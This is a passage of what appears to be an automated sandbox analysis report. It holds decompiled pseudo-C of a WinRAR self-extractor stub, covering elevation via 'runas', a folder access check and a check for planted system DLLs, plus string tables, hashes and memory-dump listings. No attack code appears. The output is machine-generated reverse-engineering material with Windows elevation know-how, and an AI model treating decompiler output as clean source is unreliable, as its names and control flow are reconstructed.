									 *[fs:0x0] =  *((intOrPtr*)(_t320 - 0xc));
									return _t116;
								}
								goto L102;
							}
						}
					}
					__eflags = _t308 != 1;
					if(_t308 != 1) {
						L7:
						_t116 = 0;
						goto L126;
					}
					_t149 = (_t277 & 0x0000ffff) - 1;
					__eflags = _t149;
					if(_t149 == 0) {
						__eflags =  *0x1137440;
						if( *0x1137440 != 0) {
							L23:
							GetDlgItemTextW(_t304, 0x66, _t320 - 0x2174, 0x800);
							__eflags =  *0x1137440;
							if( *0x1137440 == 0) {
								__eflags =  *0x1137441;
								if( *0x1137441 == 0) {
									_t313 = GetDlgItem(_t304, 0x68);
									__eflags =  *0x113743c; // 0x0
									if(__eflags == 0) {
										SendMessageW(_t313, 0xb1, 0, 0xffffffff);
										SendMessageW(_t313, 0xc2, 0, 0x11225b4);
									}
									SetFocus(_t313);
									__eflags =  *0x1138468;
									if( *0x1138468 == 0) {
										_t314 = 0x800;
										E010FFD96(_t320 - 0x1174, _t320 - 0x2174, 0x800);
										E0110C961(_t287, _t320 - 0x1174, 0x800);
										E010F3FD6(_t320 - 0x4298, 0x880, E010FDD11(_t287, 0xb9), _t320 - 0x1174);
										_t322 = _t322 + 0x10;
										_push(_t320 - 0x4298);
										_push(0);
										E0110C9E2();
									} else {
										_push(E010FDD11(_t287, 0xba));
										_push(0);
										E0110C9E2();
										_t314 = 0x800;
									}
									__eflags =  *0x1139471;
									if( *0x1139471 == 0) {
										E0110D06F(_t320 - 0x2174);
									}
									_push(0);
									_push(_t320 - 0x2174);
									 *(_t320 - 0xe) = 0;
									_t166 = E010F9F8F(0, _t320);
									_t279 = 1;
									__eflags = _t166;
									if(_t166 != 0) {
										L40:
										_t302 = E0110A2A0(_t320 - 0x2174);
										 *(_t320 - 0xd) = _t302;
										__eflags = _t302;
										if(_t302 != 0) {
											L43:
											_t169 =  *(_t320 - 0xe);
											L44:
											_t287 =  *0x1139471;
											__eflags = _t287;
											if(_t287 != 0) {
												L50:
												__eflags =  *(_t320 - 0xd);
												if( *(_t320 - 0xd) != 0) {
													 *0x113744c = _t279;
													E010F12E6(_t304, 0x67, 0);
													E010F12E6(_t304, 0x66, 0);
													SetDlgItemTextW(_t304, _t279, E010FDD11(_t287, 0xe6)); // executed
													E010F12E6(_t304, 0x69, _t279);
													SetDlgItemTextW(_t304, 0x65, 0x11225b4); // executed
													_t315 = GetDlgItem(_t304, 0x65);
													__eflags = _t315;
													if(_t315 != 0) {
														_t195 = GetWindowLongW(_t315, 0xfffffff0) | 0x00000080;
														__eflags = _t195;
														SetWindowLongW(_t315, 0xfffffff0, _t195);
													}
													_push(5);
													_push( *0x1137450);
													_push(_t304);
													E0110BD35(_t302);
													_push(2);
													_push( *0x1137450);
													_push(_t304);
													E0110BD35(_t302);
													_push(0x114cc88);
													_push(_t304);
													 *0x114fcac = _t279; // executed
													E0110CF72(_t287, __eflags); // executed
													_push(6);
													_push( *0x1137450);
													 *0x114fcac = 0;
													_push(_t304);
													E0110BD35(_t302);
													__eflags =  *0x1137447;
													if( *0x1137447 == 0) {
														__eflags =  *0x113743c;
														if( *0x113743c == 0) {
															__eflags =  *0x114dc9c;
															if( *0x114dc9c == 0) {
																_push(4);
																_push( *0x1137450);
																_push(_t304); // executed
																E0110BD35(_t302); // executed
															}
														}
													}
													E010F12C8(_t304, _t279, _t279);
													 *0x113744c =  *0x113744c & 0x00000000;
													__eflags =  *0x113744c;
													_t182 =  *0x1137447; // 0x1
													goto L75;
												}
												__eflags = _t287;
												_t169 = (_t169 & 0xffffff00 | _t287 != 0x00000000) - 0x00000001 &  *(_t320 - 0xe);
												__eflags = _t169;
												L52:
												__eflags = _t169;
												 *(_t320 - 0xd) = _t169 == 0;
												__eflags = _t169;
												if(_t169 == 0) {
													L66:
													__eflags =  *(_t320 - 0xd);
													if( *(_t320 - 0xd) != 0) {
														_push(E010FDD11(_t287, 0x9a));
														E010F3FD6(_t320 - 0x5698, 0xa00, L"\"%s\"\n%s", _t320 - 0x2174);
														E010F6F5B(0x112ff50, _t279);
														E01109EB3(_t304, _t320 - 0x5698, E010FDD11(0x112ff50, 0x96), 0x30);
														 *0x113743c =  *0x113743c + 1;
													}
													L12:
													_push(0);
													goto L13;
												}
												GetModuleFileNameW(0, _t320 - 0x1174, _t314);
												_t287 = 0x113b472;
												E010FEA7A(0x113b472, _t320 - 0x174, 0x80);
												_push(0x113a472);
												E010F3FD6(_t320 - 0x11cb0, 0x430c, L"-el -s2 \"-d%s\" \"-sp%s\"", _t320 - 0x2174);
												_t322 = _t322 + 0x14;
												 *(_t320 - 0x58) = 0x3c;
												 *((intOrPtr*)(_t320 - 0x54)) = 0x40;
												 *((intOrPtr*)(_t320 - 0x48)) = _t320 - 0x1174;
												 *((intOrPtr*)(_t320 - 0x44)) = _t320 - 0x11cb0;
												 *(_t320 - 0x50) = _t304;
												 *((intOrPtr*)(_t320 - 0x4c)) = L"runas";
												 *(_t320 - 0x3c) = _t279;
												 *((intOrPtr*)(_t320 - 0x38)) = 0;
												 *((intOrPtr*)(_t320 - 0x40)) = 0x1137468;
												_t317 = CreateFileMappingW(0xffffffff, 0, 0x8000004, 0, 0x7104, L"winrarsfxmappingfile.tmp");
												 *(_t320 - 0x14) = _t317;
												__eflags = _t317;
												if(_t317 == 0) {
													 *(_t320 - 0x1c) =  *(_t320 - 0x14);
												} else {
													 *0x1145b78 = 0;
													_t231 = GetCommandLineW();
													__eflags = _t231;
													if(_t231 != 0) {
														E010FFD96(0x1145b7a, _t231, 0x2000);
													}
													E0110AA7E(_t287, 0x1149b7a, 7);
													E0110AA7E(_t287, 0x114ab7a, 2);
													E0110AA7E(_t287, 0x114bb7a, 0x10);
													 *0x114cc7b = _t279;
													_t287 = 0x114cb7a;
													E010FEBED(_t279, 0x114cb7a, _t320 - 0x174);
													 *(_t320 - 0x1c) = MapViewOfFile(_t317, 2, 0, 0, 0);
													E0110F300(_t238, 0x1145b78, 0x7104);
													_t322 = _t322 + 0xc;
												}
												_t220 = ShellExecuteExW(_t320 - 0x58);
												E010FEC38(_t320 - 0x174, 0x80);
												E010FEC38(_t320 - 0x11cb0, 0x430c);
												__eflags = _t220;
												if(_t220 == 0) {
													_t319 =  *(_t320 - 0x1c);
													 *(_t320 - 0xd) = _t279;
													goto L64;
												} else {
													WaitForInputIdle( *(_t320 - 0x20), 0x2710);
													_t71 = _t320 - 0x18;
													 *_t71 =  *(_t320 - 0x18) & 0x00000000;
													__eflags =  *_t71;
													_t319 =  *(_t320 - 0x1c);
													while(1) {
														__eflags =  *_t319;
														if( *_t319 != 0) {
															break;
														}
														Sleep(0x64);
														_t230 =  *(_t320 - 0x18) + 1;
														 *(_t320 - 0x18) = _t230;
														__eflags = _t230 - 0x64;
														if(_t230 < 0x64) {
															continue;
														}
														break;
													}
													 *0x114dc9c =  *(_t320 - 0x20);
													L64:
													__eflags =  *(_t320 - 0x14);
													if( *(_t320 - 0x14) != 0) {
														UnmapViewOfFile(_t319);
														CloseHandle( *(_t320 - 0x14));
													}
													goto L66;
												}
											}
											__eflags = _t302;
											if(_t302 == 0) {
												goto L52;
											}
											E010F3FD6(_t320 - 0x1174, _t314, L"__tmp_rar_sfx_access_check_%u", GetTickCount());
											_t322 = _t322 + 0x10;
											E010F95B6(_t320 - 0x3198);
											 *(_t320 - 4) =  *(_t320 - 4) & 0x00000000;
											_push(0x11);
											_push(_t320 - 0x1174);
											_t246 = E010F96BE(_t320 - 0x3198);
											 *(_t320 - 0xd) = _t246;
											__eflags = _t246;
											if(_t246 == 0) {
												_t247 = GetLastError();
												__eflags = _t247 - 5;
												if(_t247 == 5) {
													 *(_t320 - 0xe) = _t279;
												}
											}
											_t39 = _t320 - 4;
											 *_t39 =  *(_t320 - 4) | 0xffffffff;
											__eflags =  *_t39;
											_t169 = E010F95E8(_t320 - 0x3198, _t314); // executed
											_t287 =  *0x1139471;
											goto L50;
										}
										_t248 = GetLastError();
										_t302 =  *(_t320 - 0xd);
										__eflags = _t248 - 5;
										if(_t248 != 5) {
											goto L43;
										}
										_t169 = _t279;
										 *(_t320 - 0xe) = _t169;
										goto L44;
									} else {
										_t249 = GetLastError();
										__eflags = _t249 - 5;
										if(_t249 == 5) {
											L39:
											 *(_t320 - 0xe) = _t279;
											goto L40;
										}
										__eflags = _t249 - 3;
										if(_t249 != 3) {
											goto L40;
										}
										goto L39;
									}
								} else {
									_t279 = 1;
									_t182 = 1;
									 *0x1137447 = 1;
									L75:
									__eflags =  *0x113743c;
									if( *0x113743c <= 0) {
										goto L26;
									}
									__eflags = _t182;
									if(_t182 != 0) {
										goto L26;
									}
									 *0x1137440 = _t279;
									SetDlgItemTextW(_t304, _t279, E010FDD11(_t287, 0x90));
									_t292 =  *0x112ff50; // 0x0
									__eflags = _t292 - 9;
									if(_t292 != 9) {
										__eflags = _t292 - 3;
										_t189 = ((0 | _t292 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
										__eflags = _t189;
										 *(_t320 - 0x14) = _t189;
										_t316 = _t189;
									} else {
										_t316 = 0xa0;
									}
									_t190 = E010FDD11(_t292, 0x96);
									E01109EB3(_t304, E010FDD11(_t292, _t316), _t190, 0x30);
									goto L125;
								}
							}
							_t279 = 1;
							__eflags =  *0x1137441;
							if( *0x1137441 == 0) {
								goto L26;
							}
							goto L25;
						}
						__eflags =  *0x114fcac;
						if( *0x114fcac == 0) {
							goto L23;
						} else {
							__eflags =  *0x114fcad;
							_t256 = _t149 & 0xffffff00 |  *0x114fcad == 0x00000000;
							__eflags = _t256;
							 *0x114fcad = _t256;
							_t257 = E010FDD11((0 | _t256 != 0x00000000) + 0xe6, (0 | _t256 != 0x00000000) + 0xe6);
							_t279 = 1;
							SetDlgItemTextW(_t304, 1, _t257);
							while(1) {
								__eflags =  *0x114fcad;
								if( *0x114fcad == 0) {
									goto L125;
								}
								__eflags =  *0x1137447;
								if( *0x1137447 != 0) {
									goto L125;
								}
								_t261 = GetMessageW(_t320 - 0x74, 0, 0, 0);
								__eflags = _t261;
								if(_t261 == 0) {
									goto L125;
								} else {
									_t263 = IsDialogMessageW(_t304, _t320 - 0x74);
									__eflags = _t263;
									if(_t263 == 0) {
										TranslateMessage(_t320 - 0x74);
										DispatchMessageW(_t320 - 0x74);
									}
									continue;
								}
							}
							goto L125;
						}
					}
					_t268 = _t149 - 1;
					__eflags = _t268;
					if(_t268 == 0) {
						_t279 = 1;
						__eflags =  *0x113744c;
						 *0x1137447 = 1;
						if( *0x113744c == 0) {
							goto L12;
						}
						__eflags =  *0x113743c;
						if( *0x113743c != 0) {
							goto L125;
						}
						goto L12;
					}
					__eflags = _t268 == 0x65;
					if(_t268 == 0x65) {
						_t272 = E010F1241(_t304, E010FDD11(_t287, 0x64), _t320 - 0x1174);
						__eflags = _t272;
						if(_t272 != 0) {
							SetDlgItemTextW(_t304, 0x66, _t320 - 0x1174);
						}
						goto L1;
					}
					goto L7;
				}
				L1:
				_t116 = 1;
				goto L126;
			}

0x0110ae20
0x0110ae20
0x0110ae25
0x0110ae2f
0x0110ae35
0x0110ae39
0x0110ae3d
0x0110ae56
0x0110ae60
0x0110ae60
0x0110ae66
0x0110b50b
0x0110b50c
0x0110b511
0x0110b518
0x0110b519
0x0110b51f
0x0110b525
0x0110b527
0x0110b531
0x0110b531
0x0110b537
0x0110b53c
0x0110b53e
0x0110b54b
0x0110b54b
0x0110b554
0x0110b567
0x0110b56a
0x0110b57c
0x0110b584
0x0110b58a
0x0110b592
0x0110b594
0x0110b597
0x0110b59c
0x0110b59e
0x0110b59e
0x0110b5a6
0x0110b5ad
0x0110b5b2
0x0110b5b7
0x0110b5bc
0x0110b5c1
0x0110b5c2
0x0110b5c9
0x0110b5ce
0x0110b5d0
0x0110b5d2
0x0110b5d2
0x0110b5d8
0x0110b5df
0x0110b5e1
0x0110b5e3
0x0110b5e9
0x0110b5ea
0x0110b5ea
0x0110b5ef
0x0110b5f6
0x0110b606
0x0110b619
0x0110b619
0x0110b61f
0x0110b626
0x0110b6d7
0x0110b6d7
0x0110b6de
0x0110b787
0x0110b787
0x0110b78e
0x0110b793
0x0110b793
0x0110b799
0x0110b7a0
0x0110b7a7
0x0110b7b1
0x0110b7b1
0x0110b7b6
0x0110b7bb
0x0110b7bd
0x0110b7bf
0x0110b7c6
0x0110b7c8
0x0110b7ca
0x0110b7cb
0x0110b7d0
0x0110b7d1
0x0110b7d3
0x0110b7dd
0x0110b7d5
0x0110b7d5
0x0110b7d5
0x0110b7d3
0x0110b7c6
0x0110b7e3
0x0110b7ea
0x0110b7f9
0x0110b7f9
0x00000000
0x0110b7ea
0x0110b6e4
0x0110b6eb
0x00000000
0x00000000
0x0110b6f1
0x0110b6f8
0x00000000
0x00000000
0x0110b6fe
0x0110b700
0x0110b705
0x0110b70c
0x0110b70c
0x0110b712
0x0110b71d
0x0110b71d
0x0110b723
0x0110b72e
0x0110b73f
0x0110b757
0x00000000
0x0110b757
0x0110b725
0x0110b72c
0x00000000
0x00000000
0x00000000
0x0110b72c
0x0110b714
0x0110b71b
0x00000000
0x00000000
0x00000000
0x0110b75c
0x0110b75c
0x0110b75d
0x0110b75d
0x0110b765
0x0110b77f
0x0110b784
0x00000000
0x0110b62c
0x0110b62c
0x0110b62e
0x0110b634
0x0110b635
0x0110b63a
0x0110b63f
0x0110b641
0x0110b643
0x0110b64a
0x0110b64c
0x0110b660
0x0110b66b
0x0110b670
0x0110b670
0x0110b64a
0x0110b671
0x0110b677
0x0110b6ca
0x0110b6ca
0x0110b6cb
0x0110b6d1
0x0110b6d2
0x00000000
0x0110b679
0x0110b67a
0x0110b680
0x0110b686
0x00000000
0x00000000
0x0110b688
0x0110b68f
0x00000000
0x00000000
0x0110b691
0x0110b693
0x0110b699
0x0110b69a
0x0110b69f
0x0110b6a6
0x00000000
0x00000000
0x0110b6bc
0x0110b6c2
0x0110b6c4
0x0110afab
0x0110afab
0x0110afb1
0x0110afb1
0x0110aed6
0x0110aed7
0x0110b7ff
0x0110b7ff
0x0110b801
0x0110b807
0x0110b811
0x0110b811
0x00000000
0x0110b6c4
0x0110b677
0x0110b626
0x0110ae6c
0x0110ae6f
0x0110ae83
0x0110ae83
0x00000000
0x0110ae83
0x0110ae74
0x0110ae74
0x0110ae77
0x0110aee2
0x0110aee9
0x0110af81
0x0110af90
0x0110af96
0x0110af9d
0x0110afb7
0x0110afbe
0x0110afda
0x0110afdc
0x0110afe2
0x0110afed
0x0110afff
0x0110afff
0x0110b006
0x0110b00c
0x0110b013
0x0110b02d
0x0110b041
0x0110b04e
0x0110b071
0x0110b076
0x0110b07f
0x0110b080
0x0110b081
0x0110b015
0x0110b01f
0x0110b020
0x0110b021
0x0110b026
0x0110b026
0x0110b086
0x0110b08d
0x0110b096
0x0110b096
0x0110b09b
0x0110b0a4
0x0110b0a5
0x0110b0a8
0x0110b0af
0x0110b0b0
0x0110b0b2
0x0110b0c9
0x0110b0d5
0x0110b0d7
0x0110b0da
0x0110b0dc
0x0110b0f3
0x0110b0f3
0x0110b0f6
0x0110b0f6
0x0110b0fc
0x0110b0fe
0x0110b16d
0x0110b16d
0x0110b171
0x0110b3b1
0x0110b3b7
0x0110b3c1
0x0110b3d3
0x0110b3dd
0x0110b3ea
0x0110b3f9
0x0110b3fb
0x0110b3fd
0x0110b408
0x0110b408
0x0110b411
0x0110b411
0x0110b417
0x0110b419
0x0110b41f
0x0110b420
0x0110b425
0x0110b427
0x0110b42d
0x0110b42e
0x0110b433
0x0110b438
0x0110b439
0x0110b43f
0x0110b444
0x0110b446
0x0110b44c
0x0110b453
0x0110b454
0x0110b459
0x0110b460
0x0110b462
0x0110b469
0x0110b46b
0x0110b472
0x0110b474
0x0110b476
0x0110b47c
0x0110b47d
0x0110b47d
0x0110b472
0x0110b469
0x0110b485
0x0110b48a
0x0110b48a
0x0110b491
0x00000000
0x0110b491
0x0110b177
0x0110b17e
0x0110b17e
0x0110b181
0x0110b181
0x0110b183
0x0110b187
0x0110b189
0x0110b347
0x0110b347
0x0110b34b
0x0110b35b
0x0110b374
0x0110b382
0x0110b39c
0x0110b3a1
0x0110b3a1
0x0110aed4
0x0110aed4
0x00000000
0x0110aed4
0x0110b199
0x0110b1aa
0x0110b1b0
0x0110b1b5
0x0110b1d2
0x0110b1d7
0x0110b1da
0x0110b1e7
0x0110b1ee
0x0110b1f7
0x0110b20f
0x0110b212
0x0110b219
0x0110b21c
0x0110b21f
0x0110b22c
0x0110b22e
0x0110b231
0x0110b233
0x0110b2be
0x0110b239
0x0110b239
0x0110b240
0x0110b246
0x0110b248
0x0110b255
0x0110b255
0x0110b261
0x0110b26d
0x0110b279
0x0110b284
0x0110b28b
0x0110b290
0x0110b2ae
0x0110b2b1
0x0110b2b6
0x0110b2b6
0x0110b2c5
0x0110b2d9
0x0110b2ea
0x0110b2ef
0x0110b2f1
0x0110b32b
0x0110b32e
0x00000000
0x0110b2f3
0x0110b2fb
0x0110b301
0x0110b301
0x0110b301
0x0110b305
0x0110b308
0x0110b308
0x0110b30b
0x00000000
0x00000000
0x0110b30f
0x0110b318
0x0110b319
0x0110b31c
0x0110b31f
0x00000000
0x00000000
0x00000000
0x0110b31f
0x0110b324
0x0110b331
0x0110b331
0x0110b335
0x0110b338
0x0110b341
0x0110b341
0x00000000
0x0110b335
0x0110b2f1
0x0110b100
0x0110b102
0x00000000
0x00000000
0x0110b118
0x0110b11d
0x0110b126
0x0110b12b
0x0110b135
0x0110b137
0x0110b13e
0x0110b143
0x0110b146
0x0110b148
0x0110b14a
0x0110b150
0x0110b153
0x0110b155
0x0110b155
0x0110b153
0x0110b158
0x0110b158
0x0110b158
0x0110b162
0x0110b167
0x00000000
0x0110b167
0x0110b0de
0x0110b0e4
0x0110b0e7
0x0110b0ea
0x00000000
0x00000000
0x0110b0ec
0x0110b0ee
0x00000000
0x0110b0b4
0x0110b0b4
0x0110b0ba
0x0110b0bd
0x0110b0c4
0x0110b0c6
0x00000000
0x0110b0c6
0x0110b0bf
0x0110b0c2
0x00000000
0x00000000
0x00000000
0x0110b0c2
0x0110afc0
0x0110afc2
0x0110afc3
0x0110afc5
0x0110b496
0x0110b496
0x0110b49d
0x00000000
0x00000000
0x0110b4a3
0x0110b4a5
0x00000000
0x00000000
0x0110b4b0
0x0110b4be
0x0110b4c4
0x0110b4ca
0x0110b4cd
0x0110b4d8
0x0110b4e2
0x0110b4e2
0x0110b4e7
0x0110b4ea
0x0110b4cf
0x0110b4cf
0x0110b4cf
0x0110b4f3
0x0110b501
0x00000000
0x0110b501
0x0110afbe
0x0110afa1
0x0110afa2
0x0110afa9
0x00000000
0x00000000
0x00000000
0x0110afa9
0x0110aeef
0x0110aef6
0x00000000
0x0110aefc
0x0110aefc
0x0110af03
0x0110af08
0x0110af0a
0x0110af19
0x0110af21
0x0110af24
0x0110af73
0x0110af73
0x0110af7a
0x0110af7c
0x0110af7c
0x0110af2c
0x0110af33
0x00000000
0x00000000
0x0110af42
0x0110af48
0x0110af4a
0x00000000
0x0110af50
0x0110af55
0x0110af5b
0x0110af5d
0x0110af63
0x0110af6d
0x0110af6d
0x00000000
0x0110af5d
0x0110af4a
0x00000000
0x0110af73
0x0110aef6
0x0110ae79
0x0110ae79
0x0110ae7c
0x0110aeb7
0x0110aeb8
0x0110aebf
0x0110aec5
0x00000000
0x00000000
0x0110aec7
0x0110aece
0x00000000
0x00000000
0x00000000
0x0110aece
0x0110ae7e
0x0110ae81
0x0110ae9a
0x0110ae9f
0x0110aea1
0x0110aead
0x0110aead
0x00000000
0x0110aea1
0x00000000
0x0110ae81
0x0110ae58
0x0110ae5a
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0110AE25

Part of subcall function 010F130B: GetDlgItem.USER32(00000000,00003021), ref: 010F134F
Part of subcall function 010F130B: SetWindowTextW.USER32(00000000,011225B4), ref: 010F1365

Strings

-el -s2 "-d%s" "-sp%s", xrefs: 0110B1C1
LICENSEDLG, xrefs: 0110B6B1
"%s"%s, xrefs: 0110B363
<, xrefs: 0110B1DA
__tmp_rar_sfx_access_check_%u, xrefs: 0110B10B
C:\Users\user\Desktop, xrefs: 0110B21F
STARTDLG, xrefs: 0110AE44
winrarsfxmappingfile.tmp, xrefs: 0110B1FC
@, xrefs: 0110B1E7

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-8108337
Opcode ID: 5c30fdd77062e231fcd0af7ec32c104e5c7a0e1cfc13c40da2cace88f9f339e4
Instruction ID: 0cdf5a7f9cde52366a668b2c5ee8b3943e51b504c9d04a32c2932ef9512f4a4d
Opcode Fuzzy Hash: 5c30fdd77062e231fcd0af7ec32c104e5c7a0e1cfc13c40da2cace88f9f339e4
Instruction Fuzzy Hash: D84205B5D44349BAEB3FABB49C49FEE3B7CAB11704F040068F251A60C9C7B41984CB26

Uniqueness

Uniqueness Score: -1.00%

Function 0110002D, Relevance: 51.1, APIs: 22, Strings: 7, Instructions: 317
libraryfileloaderCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E0110002D(void* __edx, CHAR* _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16, CHAR* _a20, CHAR* _a24, CHAR* _a28, CHAR* _a32, CHAR* _a36, CHAR* _a40, CHAR* _a44, CHAR* _a48, CHAR* _a52, CHAR* _a56, CHAR* _a60, CHAR* _a64, CHAR* _a68, CHAR* _a72, CHAR* _a76, CHAR* _a80, CHAR* _a84, CHAR* _a88, CHAR* _a92, CHAR* _a96, CHAR* _a100, CHAR* _a104, CHAR* _a108, CHAR* _a112, CHAR* _a116, CHAR* _a120, CHAR* _a124, CHAR* _a128, CHAR* _a132, CHAR* _a136, CHAR* _a140, CHAR* _a144, CHAR* _a148, CHAR* _a152, CHAR* _a156, CHAR* _a160, CHAR* _a164, CHAR* _a168, CHAR* _a172, CHAR* _a176, CHAR* _a180, CHAR* _a184, CHAR* _a188, CHAR* _a192, CHAR* _a196, CHAR* _a200, CHAR* _a204, CHAR* _a208, CHAR* _a212, CHAR* _a216, CHAR* _a220, CHAR* _a224, CHAR* _a228, CHAR* _a232, CHAR* _a236, CHAR* _a240, char _a244, char _a248, short _a752, short _a756, char _a764, short _a768, char _a4844, char _a4848, void _a4856, char _a4860, short _a4864, char _a9148, char _a9156, void _a13256, signed char _a46028) {
				long _v0;
				long _v8;
				char* _t115;
				void* _t123;
				int _t127;
				long _t138;
				int _t164;
				_Unknown_base(*)()* _t173;
				signed char _t180;
				intOrPtr _t194;
				long _t196;
				void* _t197;
				_Unknown_base(*)()* _t198;
				struct HINSTANCE__* _t200;
				signed int _t202;
				signed int _t204;
				void* _t205;
				_Unknown_base(*)()* _t206;
				signed int _t207;
				int _t208;
				void* _t210;

				E0110E1C0();
				_push(_t207);
				_t180 = 0;
				_t200 = GetModuleHandleW(L"kernel32");
				if(_t200 == 0) {
					L5:
					_t115 =  *0x112d080; // 0x1122b54
					_t208 = _t207 | 0xffffffff;
					_a4 = L"version.dll";
					_t201 = 0x800;
					_a8 = L"DXGIDebug.dll";
					_a12 = L"sfc_os.dll";
					_a16 = L"SSPICLI.DLL";
					_a20 = L"rsaenh.dll";
					_a24 = L"UXTheme.dll";
					_a28 = L"dwmapi.dll";
					_a32 = L"cryptbase.dll";
					_a36 = L"lpk.dll";
					_a40 = L"usp10.dll";
					_a44 = L"clbcatq.dll";
					_a48 = L"comres.dll";
					_a52 = L"ws2_32.dll";
					_a56 = L"ws2help.dll";
					_a60 = L"psapi.dll";
					_a64 = L"ieframe.dll";
					_a68 = L"ntshrui.dll";
					_a72 = L"atl.dll";
					_a76 = L"setupapi.dll";
					_a80 = L"apphelp.dll";
					_a84 = L"userenv.dll";
					_a88 = L"netapi32.dll";
					_a92 = L"shdocvw.dll";
					_a96 = L"crypt32.dll";
					_a100 = L"msasn1.dll";
					_a104 = L"cryptui.dll";
					_a108 = L"wintrust.dll";
					_a112 = L"shell32.dll";
					_a116 = L"secur32.dll";
					_a120 = L"cabinet.dll";
					_a124 = L"oleaccrc.dll";
					_a128 = L"ntmarta.dll";
					_a132 = L"profapi.dll";
					_a136 = L"WindowsCodecs.dll";
					_a140 = L"srvcli.dll";
					_a144 = L"cscapi.dll";
					_a148 = L"slc.dll";
					_a152 = L"imageres.dll";
					_a156 = L"dnsapi.DLL";
					_a160 = L"iphlpapi.DLL";
					_a164 = L"WINNSI.DLL";
					_a168 = L"netutils.dll";
					_a172 = L"mpr.dll";
					_a176 = L"devrtl.dll";
					_a180 = L"propsys.dll";
					_a184 = L"mlang.dll";
					_a188 = L"samcli.dll";
					_a192 = L"samlib.dll";
					_a196 = L"wkscli.dll";
					_a200 = L"dfscli.dll";
					_a204 = L"browcli.dll";
					_a208 = L"rasadhlp.dll";
					_a212 = L"dhcpcsvc6.dll";
					_a216 = L"dhcpcsvc.dll";
					_a220 = L"XmlLite.dll";
					_a224 = L"linkinfo.dll";
					_a228 = L"cryptsp.dll";
					_a232 = L"RpcRtRemote.dll";
					_a236 = L"aclui.dll";
					_a240 = L"dsrole.dll";
					_a244 = L"peerdist.dll";
					if( *_t115 == 0x78) {
						L14:
						GetModuleFileNameW(0,  &_a768, _t201);
						E010FFD96( &_a9156, E010FBBC5(_t223,  &_a768), _t201);
						_t194 = 0;
						_t202 = 0;
						do {
							if(E010FAC35() < 0x600) {
								_t123 = 0;
								__eflags = 0;
							} else {
								_t123 = E010FFFE3( *((intOrPtr*)(_t210 + 0x14 + _t202 * 4))); // executed
							}
							if(_t123 == 0) {
								L20:
								_push(0x800);
								E010FBC3B(_t227,  &_a768,  *((intOrPtr*)(_t210 + 0x18 + _t202 * 4)));
								_t127 = GetFileAttributesW( &_a756); // executed
								if(_t127 != _t208) {
									_t194 =  *((intOrPtr*)(_t210 + 0x14 + _t202 * 4));
									L24:
									if(_t180 != 0) {
										L30:
										_t234 = _t194;
										if(_t194 == 0) {
											return _t127;
										}
										E010FBC0F(_t234,  &_a764);
										if(E010FAC35() < 0x600) {
											_push( &_a9156);
											_push( &_a764);
											E010F3FD6( &_a4860, 0x864, L"Please remove %s from %s folder. It is unsecure to run %s until it is done.", _t194);
											_t210 = _t210 + 0x18;
											_t127 = AllocConsole();
											__eflags = _t127;
											if(_t127 != 0) {
												__imp__AttachConsole(GetCurrentProcessId());
												_t138 = E011133F3( &_a4856);
												WriteConsoleW(GetStdHandle(0xfffffff4),  &_a4856, _t138,  &_v8, 0);
												Sleep(0x2710);
												_t127 = FreeConsole();
											}
										} else {
											E010FFFE3(L"dwmapi.dll");
											E010FFFE3(L"uxtheme.dll");
											_push( &_a9148);
											_push( &_a756);
											E010F3FD6( &_a4848, 0x864, E010FDD11(_t182, 0xf1), _t194);
											_t210 = _t210 + 0x18;
											_t127 = E01109EB3(0,  &_a4844, E010FDD11(_t182, 0xf0), 0x30);
										}
										ExitProcess(0);
									}
									_t204 = 0;
									while(1) {
										_push(0x800);
										E010FBC3B(0,  &_a764,  *((intOrPtr*)(_t210 + 0x38 + _t204 * 4)));
										_t127 = GetFileAttributesW( &_a752);
										if(_t127 != _t208) {
											break;
										}
										_t204 = _t204 + 1;
										if(_t204 < 0x35) {
											continue;
										}
										goto L30;
									}
									_t194 =  *((intOrPtr*)(_t210 + 0x34 + _t204 * 4));
									goto L30;
								}
							} else {
								_t127 = CompareStringW(0x400, 0x1001,  *(_t210 + 0x20 + _t202 * 4), _t208, L"DXGIDebug.dll", _t208); // executed
								_t227 = _t127 - 2;
								if(_t127 != 2) {
									goto L21;
								}
								goto L20;
							}
							L21:
							_t202 = _t202 + 1;
						} while (_t202 < 8);
						goto L24;
					}
					_t196 = E01116F22(_t182, _t115);
					_pop(_t182);
					if(_t196 == 0) {
						goto L14;
					}
					GetModuleFileNameW(0,  &_a4864, 0x800);
					_t205 = CreateFileW( &_a4864, 0x80000000, 1, 0, 3, 0, 0);
					if(_t205 == _t208 || SetFilePointer(_t205, _t196, 0, 0) != _t196) {
						L13:
						CloseHandle(_t205);
						_t201 = 0x800;
						goto L14;
					} else {
						_t164 = ReadFile(_t205,  &_a13256, 0x7ffe,  &_v0, 0);
						_t222 = _t164;
						if(_t164 == 0) {
							goto L13;
						}
						_t182 = 0;
						_push(0x104);
						 *((short*)(_t210 + 0x33dc + (_v0 >> 1) * 2)) = 0;
						_push( &_a248);
						_push( &_a13256);
						while(1) {
							_t197 = E010FFB18(_t222);
							_t223 = _t197;
							if(_t197 == 0) {
								goto L13;
							}
							E010FFFE3( &_a248);
							_push(0x104);
							_push( &_a244);
							_push(_t197);
						}
						goto L13;
					}
				}
				_t173 = GetProcAddress(_t200, "SetDllDirectoryW");
				_t180 = _a46028;
				_t198 = _t173;
				if(_t198 != 0) {
					asm("sbb ecx, ecx");
					_t182 = _t198;
					 *0x1122260( ~(_t180 & 0x000000ff) & 0x011225b4);
					 *_t198();
				}
